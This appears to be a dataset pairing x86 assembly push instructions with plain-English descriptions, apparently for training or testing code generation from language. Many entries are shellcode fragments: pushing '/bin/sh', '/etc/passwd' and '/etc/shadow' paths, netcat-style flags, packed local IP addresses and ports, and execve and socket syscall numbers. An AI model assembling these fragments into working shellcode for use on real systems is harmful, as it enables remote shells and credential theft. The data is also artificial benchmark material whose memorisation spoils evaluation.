+push 0x68732f2f	push the value 0x68732f2f onto the stack
+push 0x68732f2f \n push 0x6e69622f \n mov eax, esp	push /bin/sh onto the stack and point the eax register to the stack register
+push 0x68732f2f \n push 0x6e69622f \n mov eax, esp	move /bin/sh into eax
+push 0x68732f2f \n push 0x6e69622f \n mov eax, esp	put ASCII /bin/sh into eax
+push 0x68732f2f \n push 0x6e69622f \n mov eax, esp	move /bin/sh into the eax register
+push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp	push ASCII /bin/sh onto the stack and point the ebx register to the stack register
+push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp	put /bin/sh into ebx
+push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp	move ASCII /bin/sh into ebx
+push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp	move /bin/sh into the ebx register
+push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp	push /bin/sh onto the stack and point the ecx register to the stack register
+push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp	put /bin/sh into ecx
+push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp	move ASCII /bin/sh into ecx
+push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp	move /bin/sh into the ecx register
+push 0x68732f2f \n push 0x6e69622f \n mov edx, esp	push ASCII /bin/sh onto the stack and point the edx register to the stack register
+push 0x68732f2f \n push 0x6e69622f \n mov edx, esp	put /bin/sh into edx
+push 0x68732f2f \n push 0x6e69622f \n mov edx, esp	move ASCII /bin/sh into edx
+push 0x68732f2f \n push 0x6e69622f \n mov edx, esp	move /bin/sh into the edx register
+push 0x68732f6e	push 0x68732f6e onto the stack
+push 0x68732f6e	push 0x68732f6e to the stack
+push 0x68732f6e	push the 0x68732f6e onto the stack
+push 0x68735858	push the value 0x68735858 onto the stack
+push 0x68736162	push 0x68736162 onto the stack
+push 0x68736162	push 0x68736162 to the stack
+push 0x68736164	push 0x68736164 onto the stack
+push 0x68736164	push 0x68736164 to the stack
+push 0x6873732f	push the value 0x6873732f onto the stack
+push 0x6873732f \n push 0x6374652f \n mov eax, esp	push the value 0x6873732f and the value 0x6374652f onto the stack and point the eax register to the stack register
+push 0x6873732f \n push 0x6374652f \n mov ebx, esp	push the value 0x6873732f and the value 0x6374652f onto the stack and point the ebx register to the stack register
+push 0x6873732f \n push 0x6374652f \n mov ecx, esp	push the value 0x6873732f and the value 0x6374652f onto the stack and point the ecx register to the stack register
+push 0x6873732f \n push 0x6374652f \n mov edi, esp	push the value 0x6873732f and the value 0x6374652f onto the stack and point the edi register to the stack register
+push 0x6873732f \n push 0x6374652f \n mov edx, esp	push the value 0x6873732f and the value 0x6374652f onto the stack and point the edx register to the stack register
+push 0x6873732f \n push 0x6374652f \n mov esi, esp	push the value 0x6873732f and the value 0x6374652f onto the stack and point the esi register to the stack register
+push 0x68737a2f	push 0x68737a2f onto the stack
+push 0x69616863	push the 0x69616863 onto the stack
+push 0x69622f2f	push 0x69622f2f onto the stack
+push 0x69622f2f	push 0x69622f2f to the stack
+push 0x69622f2f	push the 0x69622f2f onto the stack
+push 0x69622f2f \n mov eax, esp	push the value 0x69622f2f onto the stack and point the eax register to the stack register
+push 0x69622f2f \n mov ebx, esp	push the value 0x69622f2f onto the stack and point the ebx register to the stack register
+push 0x69622f2f \n mov ecx, esp	push the value 0x69622f2f onto the stack and point the ecx register to the stack register
+push 0x69622f2f \n mov edx, esp	push the value 0x69622f2f onto the stack and point the edx register to the stack register
+push 0x69622f3a	push 0x69622f3a onto the stack
+push 0x69622f65	push 0x69622f65 onto the stack
+push 0x69622f65	push 0x69622f65 to the stack
+push 0x69622f65	push the 0x69622f65 onto the stack
+push 0x6962732f	push 0x6962732f onto the stack
+push 0x6962732f	push the 0x6962732f onto the stack
+push 0x6c626174	push 0x6c626174 onto the stack
+push 0x6d722f2f	push the 0x6d722f2f onto the stack
+push 0x6d726574	push 0x6d726574 onto the stack
+push 0x6d726574	push 0x6d726574 to the stack
+push 0x6e	push the 0x6e onto the stack
+push 0x6e69622f	push /bin to the stack
+push 0x6e69622f	push 0x6e69622f onto the stack
+push 0x6e69622f	push ascii nib/ onto stack
+push 0x6e69622f	push nib/
+push 0x6e69622f	push the 0x6e69622f onto the stack
+push 0x6e69622f	push the value 0x6e69622f onto the stack
+push 0x6e69622f \n push 0x7273752f \n mov eax, esp	push the value 0x6e69622f and the value 0x7273752f onto the stack and point the eax register to the stack register
+push 0x6e69622f \n push 0x7273752f \n mov ebx, esp	push the value 0x6e69622f and the value 0x7273752f onto the stack and point the ebx register to the stack register
+push 0x6e69622f \n push 0x7273752f \n mov ecx, esp	push the value 0x6e69622f and the value 0x7273752f onto the stack and point the ecx register to the stack register
+push 0x6e69622f \n push 0x7273752f \n mov edx, esp	push the value 0x6e69622f and the value 0x7273752f onto the stack and point the edx register to the stack register
+push 0x6e776f64	push the 0x6e776f64 onto the stack
+push 0x6e7a762d	push 0x6e7a762d onto the stack
+push 0x6e7a762d \n mov ebp, esp	push the value 0x6e7a762d onto the stack and point the ebp register to the stack register
+push 0x6e7a762d \n mov ebx, esp	push the value 0x6e7a762d onto the stack and point the ebx register to the stack register
+push 0x6e7a762d \n mov edi, esp	push the value 0x6e7a762d onto the stack and point the edi register to the stack register
+push 0x6e7a762d \n mov esi, esp	push the value 0x6e7a762d onto the stack and point the esi register to the stack register
+push 0x6f635f64	push 0x6f635f64 onto the stack
+push 0x6f723a30	push 0x6f723a30 onto the stack
+push 0x7 \n mov edx, esp	push the value 0x7 onto the stack and point edx to the stack register
+push 0x70692f6e	push 0x70692f6e onto the stack
+push 0x70692f6e	push the 0x70692f6e onto the stack
+push 0x706d742f	push 0x706d742f onto the stack
+push 0x706d742f	push 0x706d742f to the stack
+push 0x706d742f	push the 0x706d742f onto the stack
+push 0x7268732f	push 0x7268732f onto the stack
+push 0x72706475	push 0x72706475 onto the stack
+push 0x7273752f	push 0x7273752f onto the stack
+push 0x7273752f	push 0x7273752f to the stack
+push 0x7361702f	push 0x7361702f onto the stack
+push 0x7361702f	push 0x7361702f to the stack
+push 0x73644d24	push 0x73644d24 onto the stack
+push 0x7369642d	push 0x7369642d onto the stack
+push 0x7369642d	push 0x7369642d to the stack
+push 0x7372656f	push 0x7372656f onto the stack
+push 0x7372656f	push 0x7372656f to the stack
+push 0x7372656f	push the 0x7372656f onto the stack
+push 0x7374736f	push 0x7374736f onto the stack
+push 0x7374736f	push the 0x7374736f onto the stack
+push 0x74	push 0x74 onto the stack
+push 0x74	push 0x74 to the stack
+push 0x742f2f2f	push 0x742f2f2f onto the stack
+push 0x742f2f2f	push the 0x742f2f2f onto the stack
+push 0x742f3a31	push 0x742f3a31 onto the stack
+push 0x74303072	push 0x74303072 onto the stack
+push 0x7461632f \n push 0x6e69622f \n mov eax, esp	push the value 0x7461632f and the value 0x6e69622f onto the stack and point the eax register to the stack register
+push 0x7461632f \n push 0x6e69622f \n mov ebx, esp	push the value 0x7461632f and the value 0x6e69622f onto the stack and point the ebx register to the stack register
+push 0x7461632f \n push 0x6e69622f \n mov ecx, esp	push the value 0x7461632f and the value 0x6e69622f onto the stack and point the ecx register to the stack register
+push 0x7461632f \n push 0x6e69622f \n mov edi, esp	push the value 0x7461632f and the value 0x6e69622f onto the stack and point the edi register to the stack register
+push 0x7461632f \n push 0x6e69622f \n mov edx, esp	push the value 0x7461632f and the value 0x6e69622f onto the stack and point the edx register to the stack register
+push 0x7461632f \n push 0x6e69622f \n mov esi, esp	push the value 0x7461632f and the value 0x6e69622f onto the stack and point the esi register to the stack register
+push 0x74652f2f	push 0x74652f2f onto the stack
+push 0x74652f2f	push the 0x74652f2f onto the stack
+push 0x746f6f72	push 0x746f6f72 onto the stack
+push 0x74756873	push the 0x74756873 onto the stack
+push 0x74756f2f	push 0x74756f2f onto the stack
+push 0x74756f2f	push the 0x74756f2f onto the stack
+push 0x752f2f2f	push 0x752f2f2f onto the stack
+push 0x752f2f2f	push 0x752f2f2f to the stack
+push 0x7665642f	push 0x7665642f onto the stack
+push 0x7665642f	push the 0x7665642f onto the stack
+push 0x76766c2d	push 0x76766c2d onto the stack
+push 0x76766c2d	push 0x76766c2d to the stack
+push 0x76766c2d	push the 0x76766c2d onto the stack
+push 0x78	push 0x78 onto the stack
+push 0x78	push 0x78 to the stack
+push 0x78	push the 0x78 onto the stack
+push 0x782f2f32	push 0x782f2f32 onto the stack
+push 0x782f2f32	push 0x782f2f32 to the stack
+push 0x782f6e69	push 0x782f6e69 onto the stack
+push 0x782f6e69	push 0x782f6e69 to the stack
+push 0x78534a52	push 0x78534a52 onto the stack
+push 0x79616c70	push 0x79616c70 onto the stack
+push 0x79616c70	push 0x79616c70 to the stack
+push 0x8	push 0x8 onto the stack
+push 0x81e3a8c0	push 0x81e3a8c0 onto the stack
+push 0x8501a8c0	push 0x8501a8c0 onto the stack
+push 0xa	push 0xa onto the stack
+push 0xa	push 0xa to the stack
+push 0xa01a8c0	push the 0xa01a8c0 onto the stack
+push 0xb	push 0xb onto the stack
+push 0xb	push 0xb to the stack
+push 0xdebf	push 0xdebf value to the stack
+push 0xefffff7f	push 0xefffff7f onto the stack
+push 0xf	push 0xf onto the stack
+push 1	push 1 onto the stack
+push 1	push 1 to the stack
+push 10	push 10 onto the stack
+push 10 \n mov eax, esp	push the value 10 onto the stack and point eax to the stack register
+push 102	push 102 onto the stack
+push 12 \n mov ebx, esp	push the value 12 onto the stack and point ebx to the stack register
+push 15 \n mov ecx, esp	push the value 15 onto the stack and point ecx to the stack register
+push 16	push 16 onto the stack
+push 2	push 2 onto the stack
+push 20	push 20 onto the stack
+push 20	push the 20 onto the stack
+push 216	push 216 value to the stack
+push 6	push 6 onto the stack
+push ax	push ax onto the stack
+push ax	push ax to the stack
+push ax	push the ax onto the stack
+push bx	push bx onto the stack
+push bx	push bx to the stack
+push bx	push the contents of the bx register onto the stack
+push byte -1	push the byte -1 onto the stack
+push byte +0x1	push the byte +0x1 onto the stack
+push byte +0x10	push the byte +0x10 onto the stack
+push byte +0x2	push the byte +0x2 onto the stack
+push byte +0x3	push the byte +0x3 onto the stack
+push byte +0x46	push the byte +0x46 onto the stack
+push byte +0x6	push the byte +0x6 onto the stack
+push byte +0x66	push the byte +0x66 onto the stack
+push byte +0x7f	push the byte +0x7f onto the stack
+push byte +0x8	push the byte +0x8 onto the stack
+push byte +0xb	push the byte +0xb onto the stack
+push byte 0	push byte 0 onto stack
+push byte 0x0	push the byte 0x0 onto the stack
+push byte 0x01	push the byte 0x01 onto the stack
+push byte 0x01	push the byte 0x01 to the stack
+push byte 0x01 \n pop eax	put the syscall 0x01 into the eax register
+push byte 0x02	push the byte 0x02 onto the stack
+push byte 0x02	push the byte 0x02 to the stack
+push byte 0x02 \n pop eax	put the syscall 0x02 into the eax register
+push byte 0x04	push the byte 0x04 onto the stack
+push byte 0x04 \n pop eax	put the syscall 0x04 into the eax register
+push byte 0x05	push the byte 0x05 onto the stack
+push byte 0x05 \n pop eax	put the syscall 0x05 into the eax register
+push byte 0x06	push the byte 0x06 onto the stack
+push byte 0x06 \n pop eax	put the syscall 0x06 into the eax register
+push byte 0x0b	push the byte 0x0b onto the stack
+push byte 0x0b \n pop eax	put the syscall 0x0b into the eax register
+push byte 0x1	push the byte 0x1 onto the stack
+push byte 0x1	push the byte 0x1 to the stack
+push byte 0x1 \n mov ecx, esp	push the byte 0x1 onto the stack and point ecx to the stack register
+push byte 0x10	push the byte 0x10 onto the stack
+push byte 0x10 \n pop eax	put the syscall 0x10 into the eax register
+push byte 0x11 \n mov ebx, esp	push the byte 0x11 onto the stack and point ebx to the stack register
+push byte 0x17	push the byte 0x17 onto the stack
+push byte 0x17 \n pop eax	put the syscall 0x17 into the eax register
+push byte 0x1c	push the byte 0x1c onto the stack
+push byte 0x1c \n pop eax	put the syscall 0x1c into the eax register
+push byte 0x1f	push the byte 0x1f onto the stack
+push byte 0x1f \n pop eax	put the syscall 0x1f into the eax register
+push byte 0x2	push the byte 0x2 onto the stack
+push byte 0x2	push the byte 0x2 to the stack
+push byte 0x2 \n mov ecx, esp	push the byte 0x2 onto the stack and point ecx to the stack register
+push byte 0x2 \n pop eax	put the syscall 0x2 into the eax register
+push byte 0x2e	push the byte 0x2e onto the stack
+push byte 0x2e \n pop eax	put the syscall 0x2e into the eax register
+push byte 0x2f	push the byte 0x2f onto the stack
+push byte 0x2f \n pop eax	put the syscall 0x2f into the eax register
+push byte 0x3	push the byte 0x3 onto the stack
+push byte 0x3 \n pop eax	put the syscall 0x3 into the eax register
+push byte 0x30	push the byte 0x30 onto the stack
+push byte 0x30 \n pop eax	put the syscall 0x30 into the eax register
+push byte 0x3f	push the byte 0x3f onto the stack
+push byte 0x3f \n pop eax	put the syscall 0x3f into the eax register
+push byte 0x4	push the byte 0x4 onto the stack
+push byte 0x4 \n pop eax	put the syscall 0x4 into the eax register
+push byte 0x43	make the system call sigaction
+push byte 0x43	sigaction
+push byte 0x43	syscall for sigaction
+push byte 0x43	system call sigaction
+push byte 0x43 \n pop eax	put the syscall 0x43 into the eax register
+push byte 0x43 \n pop eax	put syscall sigaction into the eax register
+push byte 0x5 \n mov ebx, esp	push the byte 0x5 onto the stack and point ebx to the stack register
+push byte 0x5 \n mov edx, esp	push the byte 0x5 onto the stack and point edx to the stack register
+push byte 0x64	push the byte 0x64 onto the stack
+push byte 0x64	push the byte 0x64 to the stack
+push byte 0x64 \n pop eax	put the syscall 0x64 into the eax register
+push byte 0x66	push the byte 0x66 onto the stack
+push byte 0x66 \n pop eax	put the syscall 0x66 into the eax register
+push byte 0x7 \n mov edx, esp	push the byte 0x7 onto the stack and point edx to the stack register
+push byte 0x77	push the byte 0x77 onto the stack
+push byte 0x77	push the byte 0x77 to the stack
+push byte 0x77 \n pop eax	put the syscall 0x77 into the eax register
+push byte 0x8 \n mov edx, esp	push the byte 0x8 onto the stack and point edx to the stack register
+push byte 0xb	push the byte 0xb onto the stack
+push byte 0xb \n pop eax	put the syscall 0xb into the eax register
+push byte 0xc	push the byte 0xc onto the stack
+push byte 0xc \n pop eax	put the syscall 0xc into the eax register
+push byte 1	move byte 1 onto stack
+push byte 1	push byte 1 onto the stack
+push byte 1	push the byte 1 onto the stack
+push byte 1	push the byte 1 to the stack
+push byte 1 \n mov eax, esp	push the byte 1 onto the stack and point eax to the stack register
+push byte 1 \n pop eax	put the syscall 1 into the eax register
+push byte 10	push the byte 10 onto the stack
+push byte 10	push the byte 10 to the stack
+push byte 10 \n pop eax	put the syscall 10 into the eax register
+push byte 11	push the byte 11 onto the stack
+push byte 11	push the byte 11 to the stack
+push byte 11 \n pop eax	put the syscall 11 into the eax register
+push byte 15	push the byte 15 onto the stack
+push byte 15	push the byte 15 to the stack
+push byte 15 \n pop eax	put the syscall 15 into the eax register
+push byte 16	push byte 16 onto stack
+push byte 16	push the byte 16 onto the stack
+push byte 16 \n pop eax	put the syscall 16 into the eax register
+push byte 17h	push the byte 17h onto the stack
+push byte 17h \n pop eax	put the syscall 17h into the eax register
+push byte 2	push byte 2 onto the stack
+push byte 2	push the byte 2 onto the stack
+push byte 2 \n pop eax	put the syscall 2 into the eax register
+push byte 25	push the byte 25 onto the stack
+push byte 25 \n pop eax	put the syscall 25 into the eax register
+push byte 28	push the byte 28 to the stack
+push byte 28 \n pop eax	put the syscall 28 into the eax register
+push byte 3 \n mov ebx, esp	push the byte 3 onto the stack and point ebx to the stack register
+push byte 37	push the byte 37 onto the stack
+push byte 37 \n pop eax	put the syscall 37 into the eax register
+push byte 3h	push the byte 3h onto the stack
+push byte 3h \n pop eax	put the syscall 3h into the eax register
+push byte 4	push the byte 4 onto the stack
+push byte 4 \n pop eax	put the syscall 4 into the eax register
+push byte 49	push the byte 49 onto the stack
+push byte 49 \n pop eax	put the syscall 49 into the eax register
+push byte 5	push the byte 5 onto the stack
+push byte 5 \n pop eax	put the syscall 5 into the eax register
+push byte 54	push the byte 54 onto the stack
+push byte 54 \n pop eax	put the syscall 54 into the eax register
+push byte 6	push byte 6 onto the stack
+push byte 6	push the byte 6 onto the stack
+push byte 6	push the byte 6 to the stack
+push byte 6 \n pop eax	put the syscall 6 into the eax register
+push byte 67	push the byte 67 onto the stack
+push byte 67 \n pop eax	put the syscall 67 into the eax register
+push byte 70	push the byte 70 onto the stack
+push byte 70 \n pop eax	put the syscall 70 into the eax register
+push byte 8	push the byte 8 onto the stack
+push byte 8 \n pop eax	put the syscall 8 into the eax register
+push byte 9	push the byte 9 onto the stack
+push byte 9 \n pop eax	put the syscall 9 into the eax register
+push byte chmod_call	push the byte chmod_call onto the stack
+push byte CHMOD_CALL \n pop eax	put the byte CHMOD_CALL into the eax register
+push byte CHMOD_CALL \n pop eax	put the byte my_label into the eax register
+push byte L1 \n pop eax	put the byte L1 into the eax register
+push byte my_value \n pop eax	put the byte my_value into the eax register
+push byte VALUE \n pop eax	put the byte VALUE into the eax register
+push cx	push the contents of the cx register onto the stack
+push dword [ebp+16]	push the dword [ebp+16] onto the stack
+push dword [edx+2]	push the doubleword [edx+2] to the stack
+push dword [edx+2]	push the dword [edx+2] onto the stack
+push dword 0x00000000	push the doubleword 0x00000000 onto the stack
+push dword 0x0101017f	push the dword 0x0101017f onto the stack
+push dword 0x017aa8c0	push the dword 0x017aa8c0 onto the stack
+push dword 0x0501a8c0	push the dword 0x0501a8c0 onto the stack
+push dword 0x0a206873	push the double word 0x0a206873 onto the stack
+push dword 0x10	push the dword 0x10 onto the stack
+push dword 0x2	push the double word 2 onto the stack
+push dword 0x214c4f4c	push the dword 0x214c4f4c onto the stack
+push dword 0x2335738c	push the double word 0x2335738c onto the stack
+push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov eax, esp	push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the eax register to the stack register
+push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov ebx, esp	push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the ebx register to the stack register
+push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov ecx, esp	push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the ecx register to the stack register
+push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov edx, esp	push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the edx register to the stack register
+push dword 0x2f2f6e69	push the doubleword 0x2f2f6e69 to the stack
+push dword 0x2f2f6e69	push the dword 0x2f2f6e69 onto the stack
+push dword 0x2f3a2f3a	push the double word 0x2f3a2f3a onto the stack
+push dword 0x2f3a3a30	push the dword 0x2f3a3a30 onto the stack
+push dword 0x2f6e6962	push the double word 0x2f6e6962 onto the stack
+push dword 0x303a3a31	push the double word 0x303a3a31 onto the stack
+push dword 0x313a303a	push the double word 0x313a303a onto the stack
+push dword 0x39396e2d \n mov ebp, esp	push double word 0x39396e2d onto the stack and point the ebp register to the stack register
+push dword 0x39396e2d \n mov ebx, esp	push double word 0x39396e2d onto the stack and point the ebx register to the stack register
+push dword 0x39396e2d \n mov edi, esp	push double word 0x39396e2d onto the stack and point the edi register to the stack register
+push dword 0x39396e2d \n mov esi, esp	push double word 0x39396e2d onto the stack and point the esi register to the stack register
+push dword 0x3a303a3a	push the dword 0x3a303a3a onto the stack
+push dword 0x4227a28b	push the doubleword 0x4227a28b onto the stack
+push dword 0x45525649	push the dword 0x45525649 onto the stack
+push dword 0x58494741	push the dword 0x58494741 onto the stack
+push dword 0x5f657a69	push the dword 0x5f657a69 onto the stack
+push dword 0x6164732f	push the dword 0x6164732f onto the stack
+push dword 0x61702f2f	push the dword 0x61702f2f onto the stack
+push dword 0x61702f63	push the dword 0x61702f63 onto the stack
+push dword 0x61722f6c	push the dword 0x61722f6c onto the stack
+push dword 0x61747069	push the doubleword 0x61747069 to the stack
+push dword 0x61747069	push the dword 0x61747069 onto the stack
+push dword 0x62732f2f	push the doubleword 0x62732f2f to the stack
+push dword 0x62732f2f	push the dword 0x62732f2f onto the stack
+push dword 0x62732f2f \n mov ebx, esp	push the doubleword 0x62732f2f onto the stack and point the ebx register to the stack register
+push dword 0x6374652f	push the dword 0x6374652f onto the stack
+push dword 0x64616568	push the dword 0x64616568 onto the stack
+push dword 0x64777373	push the dword 0x64777373 onto the stack
+push dword 0x656e7265	push the dword 0x656e7265 onto the stack
+push dword 0x68732f2f	push the dword 0x68732f2f onto the stack
+push dword 0x68732f63	push the dword 0x68732f63 onto the stack
+push dword 0x68732f6e	push the dword 0x68732f6e onto the stack
+push dword 0x69622f2f	push the dword 0x69622f2f onto the stack
+push dword 0x69622f3a	push the dword 0x69622f3a onto the stack
+push dword 0x6962732f	push the dword 0x6962732f onto the stack
+push dword 0x6b2f7379	push the dword 0x6b2f7379 onto the stack
+push dword 0x6b6e756a	push the dword 0x6b6e756a onto the stack
+push dword 0x6d6f646e	push the dword 0x6d6f646e onto the stack
+push dword 0x6e69622f	push the dword 0x6e69622f onto the stack
+push dword 0x6e69922f	push the dword 0x6e69922f onto the stack
+push dword 0x6f702f6e	push the dword 0x6f702f6e onto the stack
+push dword 0x6f726577	push the dword 0x6f726577 onto the stack
+push dword 0x7264632f	push the dword 0x7264632f onto the stack
+push dword 0x72657355	push the dword 0x72657355 onto the stack
+push dword 0x732f636f	push the dword 0x732f636f onto the stack
+push dword 0x73656c62	push the doubleword 0x73656c62 to the stack
+push dword 0x73656c62	push the dword 0x73656c62 onto the stack
+push dword 0x7461632f	push the dword 0x7461632f onto the stack
+push dword 0x74652f2f	push the dword 0x74652f2f onto the stack
+push dword 0x74652f2f \n mov eax, esp	push double word 0x74652f2f onto the stack and point the eax register to the stack register
+push dword 0x74652f2f \n mov ebp, esp	push double word 0x74652f2f onto the stack and point the ebp register to the stack register
+push dword 0x74652f2f \n mov ebx, esp	push double word 0x74652f2f onto the stack and point the ebx register to the stack register
+push dword 0x74652f2f \n mov ecx, esp	push double word 0x74652f2f onto the stack and point the ecx register to the stack register
+push dword 0x74652f2f \n mov edx, esp	push double word 0x74652f2f onto the stack and point the edx register to the stack register
+push dword 0x74652f2f \n mov esi, esp	push double word 0x74652f2f onto the stack and point the esi register to the stack register
+push dword 0x7665642f	push the dword 0x7665642f onto the stack
+push dword 0x776f6461	push the dword 0x776f6461 onto the stack
+push dword 0x8140a8c0	push the doubleword 0x8140a8c0 to the stack
+push dword eax	push the doubleword eax to the stack
+push dword eax	push the dword eax onto the stack
+push dword ebx	push the doubleword ebx to the stack
+push dx	push dx onto the stack
+push eax	preserve eax on the stack
+push eax	push eax on the stack
+push eax	push eax onto stack
+push eax	push eax onto the stack
+push eax	push eax to the stack
+push eax	push eax value to the stack
+push eax	push the contents of eax onto the stack
+push eax	push the contents of eax register onto the stack
+push eax	push the contents of the eax register onto the stack
+push eax	push the value of register eax onto the stack
+push eax \n mov ebx, esp	push the contents of the eax register onto the stack and point ebx to the stack register
+push eax \n mov ecx, esp	push the contents of the eax register onto the stack and point ecx to the stack register
+push eax \n mov edx, esp	push the contents of the eax register onto the stack and point edx to the stack register
+push ebp	push ebp onto the stack
+push ebp	push the contents of the ebp register onto the stack
+push ebp	push the ebp onto the stack
+push ebp	save old base pointer
+push ebp	save the old base pointer value
+push ebx	preserve ebx on the stack
+push ebx	push ebx on the stack
+push ebx	push ebx onto the stack
+push ebx	push ebx to the stack
+push ebx	push the contents of ebx onto the stack
+push ebx	push the contents of ebx register onto the stack
+push ebx	push the contents of the ebx register onto the stack
+push ebx	push the ebx value to the stack
+push ebx \n mov eax, esp	push the contents of the ebx register onto the stack and point eax to the stack register
+push ebx \n mov ecx, esp	push the contents of the ebx register onto the stack and point ecx to the stack register
+push ebx \n mov edx, esp	push the contents of the ebx register onto the stack and point edx to the stack register
+push ecx	preserve ecx on the stack
+push ecx	push ecx on the stack
+push ecx	push ecx onto the stack
+push ecx	push ecx to the stack
+push ecx	push the contents of ecx register onto the stack
+push ecx	push the contents of the ecx register onto the stack
+push ecx	push the contents of the ecx register onto the stack.
+push ecx	push the ecx onto the stack
+push ecx	push the value of register ecx onto the stack
+push edi	push edi onto the stack
+push edi	push edi to the stack
+push edi	push the contents of edi register onto the stack
+push edi	push the contents of the edi register onto the stack
+push edi	push the edi onto the stack
+push edi \n mov eax, esp	push the contents of the edi register onto the stack and point eax to the stack register
+push edi \n mov ebx, esp	push the contents of the edi register onto the stack and point ebx to the stack register
+push edi \n mov ecx, esp	push the contents of the edi register onto the stack and point ecx to the stack register
+push edi \n mov edx, esp	push the contents of the edi register onto the stack and point edx to the stack register
+push edx	preserve edx on the stack
+push edx	push edx on the stack
+push edx	push edx onto the stack
+push edx	push edx to the stack
+push edx	push the contents of edx register onto the stack
+push edx	push the contents of the edx register onto the stack
+push edx	push the value of register edx onto the stack
+push edx \n mov eax, esp	push the contents of the edx register onto the stack and point eax to the stack register
+push edx \n mov ebx, esp	push the contents of the edx register onto the stack and point ebx to the stack register
+push edx \n mov ecx, esp	push the contents of the edx register onto the stack and point ecx to the stack register
+push esi	preserve esi on the stack
+push esi	push esi on the stack
+push esi	push esi onto the stack
+push esi	push esi to the stack
+push esi	push the contents of esi register onto the stack
+push esi	push the contents of the esi register onto the stack
+push esi	push the contents of the esi register onto the stack.
+push esi	push the esi onto the stack
+push esi \n mov eax, esp	push the contents of the esi register onto the stack and point eax to the stack register
+push esi \n mov ebx, esp	push the contents of the esi register onto the stack and point ebx to the stack register
+push esi \n mov ecx, esp	push the contents of the esi register onto the stack and point ecx to the stack register
+push esi \n mov edx, esp	push the contents of the esi register onto the stack and point edx to the stack register
+push esp	push esp onto the stack
+push esp	push esp to the stack
+push esp	push the contents of esp register onto the stack
+push esp	push the contents of the esp register onto the stack
+push esp	push the esp onto the stack
+push len	push len onto the stack
+push long 0x68732f2f \n push long 0x6e69622f \n mov eax, esp	move /bin/sh into the eax register
+push long 0x68732f2f \n push long 0x6e69622f \n mov ebx, esp	move /bin/sh into the ebx register
+push long 0x68732f2f \n push long 0x6e69622f \n mov ecx, esp	put /bin/sh into the ecx register
+push long 0x68732f2f \n push long 0x6e69622f \n mov edx, esp	put /bin/sh into the edx register
+push name	push name onto the stack
+push offset printf_msg	push address of string print_msg
+push ogin	push the contents in ogin onto the stack
+push sock_reg	push sock_reg onto the stack
+push sock_reg	push the sock_reg onto the stack
+push sys_execve	push sys_execve onto the stack
+push word [edx]	push the word [edx] onto the stack
+push word [edx]	push the word [edx] to the stack
+push word 0544o	push the word 0544o onto the stack
+push word 0644o	push the word 0644o onto the stack
+push word 0666q	push the word 0666q onto the stack
+push word 0x02	push the word 0x02 onto the stack
+push word 0x0a	push the word 0x0a onto the stack
+push word 0x0a	push the word 0x0a to the stack
+push word 0x0f27	push the word 0x0f27 onto the stack
+push word 0x1b6	push the word 0x1b6 onto the stack
+push word 0x1b6	push the word 0x1b6 to the stack
+push word 0x1ff	push the word 0x1ff onto the stack
+push word 0x2	push the word 0x2 onto the stack
+push word 0x2	push the word 0x2 to the stack
+push word 0x2923	push 0x2923 onto stack port
+push word 0x2e2e	push the word 0x2e2e onto the stack
+push word 0x3436	push the word 0x3436 onto the stack
+push word 0x3582	push the word 0x3582 onto the stack
+push word 0x3636	push the word 0x3636 onto the stack
+push word 0x3905	push the word 0x3905 onto the stack
+push word 0x3905	push the word 0x3905 to the stack
+push word 0x3930	push the word 0x3930 onto the stack
+push word 0x401f	push the word 0x401f onto the stack
+push word 0x4255	push the word 0x4255 onto the stack
+push word 0x462d	push the word 0x462d onto the stack
+push word 0x462d	push the word 0x462d to the stack
+push word 0x5000	push 0x5000 onto stack port
+push word 0x5445	push the word 0x5445 onto the stack
+push word 0x5974	push the word 0x5974 onto the stack
+push word 0x5c11	push the word 0x5c11 onto the stack
+push word 0x5c11	push the word 0x5c11 to the stack
+push word 0x632d	push the word 0x632d onto the stack
+push word 0x632d	push the word 0x632d to the stack
+push word 0x632d \n mov eax, esp	push the word 0x632d onto the stack and point the eax register to the stack register
+push word 0x632d \n mov ebx, esp	push the word 0x632d onto the stack and point the ebx register to the stack register
+push word 0x632d \n mov ecx, esp	push the word 0x632d onto the stack and point the ecx register to the stack register
+push word 0x632d \n mov edi, esp	push the word 0x632d onto the stack and point the edi register to the stack register
+push word 0x632d \n mov edx, esp	push the word 0x632d onto the stack and point the edx register to the stack register
+push word 0x632d \n mov esi, esp	push the word 0x632d onto the stack and point the esi register to the stack register
+push word 0x6465	push the word 0x6465 onto the stack
+push word 0x662d	push the word 0x662d onto the stack
+push word 0x662d \n mov eax, esp	push the word 0x662d onto the stack and point the eax register to the stack register
+push word 0x662d \n mov ebx, esp	push the word 0x662d onto the stack and point the ebx register to the stack register
+push word 0x662d \n mov ecx, esp	push the word 0x662d onto the stack and point the ecx register to the stack register
+push word 0x662d \n mov edi, esp	push the word 0x662d onto the stack and point the edi register to the stack register
+push word 0x662d \n mov edx, esp	push the word 0x662d onto the stack and point the edx register to the stack register
+push word 0x662d \n mov esi, esp	push the word 0x662d onto the stack and point the esi register to the stack register
+push word 0x6666	push the word 0x6666 onto the stack
+push word 0x6873	push the word 0x6873 onto the stack
+push word 0x692d	push the word 0x692d onto the stack
+push word 0x697a	push the word 0x697a onto the stack
+push word 0x6d6f	push the word 0x6d6f onto the stack
+push word 0x6f64	push the word 0x6f64 onto the stack
+push word 0x6f64	push the word 0x6f64 to the stack
+push word 0x7065	push the word 0x7065 onto the stack
+push word 0x722d	push the word 0x722d onto the stack
+push word 0x7365	push the word 0x7365 onto the stack
+push word 0x736e	push the word 0x736e onto the stack
+push word 0x776f	push the word 0x776f onto the stack
+push word 0x7773	push the word 0x7773 onto the stack
+push word 0x7773	push the word 0x7773 to the stack
+push word 0x8223	push the word 0x8223 onto the stack
+push word 0xaaaa	push the word 0xaaaa onto the stack
+push word 0xb315	push the word 0xb315 onto the stack
